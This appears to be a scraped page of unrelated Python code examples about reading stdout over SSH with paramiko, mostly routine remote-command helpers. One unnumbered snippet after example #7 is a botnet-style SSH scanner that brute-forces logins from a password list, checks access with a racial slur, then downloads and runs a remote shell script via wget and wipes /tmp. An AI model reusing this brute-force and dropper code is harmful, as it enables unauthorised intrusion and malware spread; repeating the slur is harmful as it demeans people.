예제 #1
0
def {SCRIPT_NAME}():
    trans = paramiko.Transport('{SERVER_IP}')
    ssh = paramiko.SSHClient()
    ssh.load_system_host_keys()
    conn = ssh.connect('{SERVER_IP}',username='******',password='******')
    trans.connect(conn)
    ''' Enter your desire command'''
    cmd = 'source ~/.profile ;cd //path/to/folder ; pkexec shutdown , lsblk, etc'
    stdin, stdout, stderr = ssh.exec_command(cmd)
    print stdout.read()
예제 #2
0
def op_command(ip, command, username, password, port=22):
    """ Purpose: For the -c flag, this function is called. It will connect to a device, run the single specified command, and return the output.
                 Paramiko is used instead of ncclient so we can pipe the command output just like on the CLI.
        Parameters:
            ip          -   String containing the IP of the remote device, used for logging purposes.
            host_name   -   The device host-name for output purposes.
            commands    -   String containing the command to be sent to the device.
            username    -   Username used to log into the device
            password    -   Password is needed because we are using paramiko for this.
    """
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    device = ' -> Command: %s\n' % (command)
    command = command.strip() + ' | no-more\n'
    output = ''
    try:
        ssh.connect(ip, port=port, username=username, password=password)
        stdin, stdout, stderr = ssh.exec_command(command=command, timeout=900)
        stdin.close()
        # read normal output
        while not stdout.channel.exit_status_ready():
            output += stdout.read()
        stdout.close()
        # read errors
        while not stderr.channel.exit_status_ready():
            output += stderr.read()
        stderr.close()
        output = '%s\n%s' % (device, output)
        return output
    except paramiko.AuthenticationException:
        output = '*' * 45 + '\n\nBad username or password for device: %s\n' % ip
        return output
예제 #3
0
def sdn():  #initial setup and ssh into SDN controller (Ryu)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('192.168.56.10',
                port=22,
                username='******',
                password='******')
    ssh1 = ssh.invoke_shell()
    ssh1.send("sudo python topo.py\n")
    stdin, stdout, stderr = ssh.exec_command("sudo python parse.py\n")
    stdin.close()
    dpid = stdout.read()
    time.sleep(2)
    output = ssh1.recv(65535)
    output = output.decode()
    ssh.close()
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('192.168.80.10', port=22, username='******', password='******')
    ssh1 = ssh.invoke_shell()
    ssh1.send("python firewallrules1.py\n")
    ssh1.send("python firewallrules2.py\n")
    output1 = ssh1.recv(65535)
    output1 = output1.decode()
    ssh.close()
    print(output1)
    return (dpid)
예제 #4
0
def sdnnodes():  #check nodes
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('192.168.56.10',
                port=22,
                username='******',
                password='******')
    ssh1 = ssh.invoke_shell()
    ssh1.send("sudo python topo.py\n")
    stdin, stdout, stderr = ssh.exec_command("sudo python parse.py\n")
    stdin.close()
    out = str(stdout.read())
    print(type(out))
    #time.sleep(2)
    output = ssh1.recv(65535)
    output = output.decode()
    ssh.close()
    out1 = out.split("[")[1].split("]")[0]
    dpid = []
    dpid.append((out1.split(",")[0]).strip("'"))
    dpid.append((out1.split(",")[1]).split("'")[1])
    print(dpid)
    switches = []
    for i in dpid:
        switches.append("s" + i[-1])
    return (switches)
예제 #5
0
 def runCommand(self, cmd):
     '''
     @summary: run the commend in linux shell
     @param cmd: the commend 
     '''
     conn = self.connect()
     _, stdout, stderr = conn.exec_command(cmd)
     returncode = stdout.channel.recv_exit_status()
     result = stdout.read()
     return (returncode, result)
예제 #6
0
 def sendCommand(self, command):
     stdin, stdout, stderr = self.client.exec_command(command, timeout=5)
     # notprint = ('uptime')
     # if command not in notprint:
     #     print('--> {}'.format(command))
     # while True:
     #     line = tmpout.readline()
     #     if not line:
     #         break
     #     print('<-- {}'.format(line))
     return stdout.read() + stderr.read()
예제 #7
0
 def send_command(self, command):
     try:
         stdin, stdout, stderr = self.client.exec_command(command)
         return stdout.read().decode('ascii')
     except paramiko.SSHException:
         self.logfile.write('Failed to execute command {} on {}\n'.format(
             command, self.remote_address))
         return ''
     except Exception as e:
         self.logfile.write(
             'Unknown exception {} in attempt to establish connection to {}\n'
             .format(e, self.remote_address))
         raise
 def run(self):
     x = 1
     while x != 0:
         try:
             username = '******'
             password = "******"
             port = 22
             ssh = paramiko.SSHClient()
             ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
             dobreak = False
             for passwd in ssh_passwords:
                 if ":n/a" in passwd:
                     password = ""
                 else:
                     password = passwd.split(":")[1]
                 if "n/a:" in passwd:
                     username = ""
                 else:
                     username = passwd.split(":")[0]
                 try:
                     ssh.connect(self.ip,
                                 port=port,
                                 username=username,
                                 password=password,
                                 timeout=5)
                     dobreak = True
                     break
                 except:
                     pass
                 if True == dobreak:
                     break
             badserver = True
             stdin, stdout, stderr = ssh.exec_command("echo nigger")
             output = stdout.read()
             if "nigger" in output:
                 badserver = False
             if badserver == False:
                 print "\033[36m[SSH] Command Sent %s!\033[37m" % (self.ip)
                 ssh.exec_command(
                     "cd /tmp || cd /var/run || cd /dev; wget " + sh_file +
                     " -O l.sh; sh l.sh; rm -rf /tmp/*")
                 time.sleep(3)
                 ssh.close()
                 x = 0
             if badserver == True:
                 ssh.close()
         except:
             pass
         x = 0
예제 #9
0
    def run_cmd(self, env, cmd):
        stdin, stdout, stderr = self._ssh.exec_command(
            f'set -ex; echo {shlex.quote(env)} {shlex.quote(cmd)} | sudo -i --',
            get_pty=True)
        output = stdout.read()
        if output:
            print(f'{Color.YELLOW}{str(output, "utf8")}{Color.CLEAR}')
        output = stderr.read()
        if output:
            print(f'{Color.RED}{str(output, "utf8")}{Color.CLEAR}')

        ecode = stdout.channel.recv_exit_status()
        if ecode != 0:
            logger.error(
                f'The command {cmd} returned a non-zero code: {ecode}')
            exit(ecode)
예제 #10
0
def test_out_TIOW() -> None:
    """Simple TextIOWrapper output test"""

    ic: Intcom = Intcom(list_to_dict([4, 0, 99]),
                        "Tiow Brandout",
                        inputMethod=IO_METHOD.LIST,
                        outputMethod=IO_METHOD.TIOW,
                        inputSrc=[],
                        outputDest=stdout)

    ic.run()

    stdout.seek(0, 0)

    captured = stdout.read()
    assert captured == b'Output -> 4\n'
예제 #11
0
 flush()
 
 cmd = program + " " + instance
 pnames = map(fst, cl_args)
 
 for pname, pvalue in zip(pnames, params):
   cmd += " --%s=%s" % (pname, str(pvalue))
 
 times, results = [], []
 
 for _ in xrange(trials):
   t1 = time()
   
   process = Popen(cmd, stdout = PIPE, shell = True)
   stdout = process.stdout
   val = int(stdout.read())
   process.wait()
   
   t2 = time()
   
   times.append(t2 - t1)
   results.append(val)
 
 print "%.2fs" % (sum(times),)
 
 csv_line = params + [mean(times),
                      min(results), max(results),
                      mean(results), stdev(results)]
 
 result_file.write(", ".join(map(str,csv_line)) + "\n")
 
예제 #12
0
 def check_output(self,cmd):
     stdin,stdout,stderr = self.ssh.exec_command(cmd)
     return stdout.read().decode('ascii') #convert byte string to unicode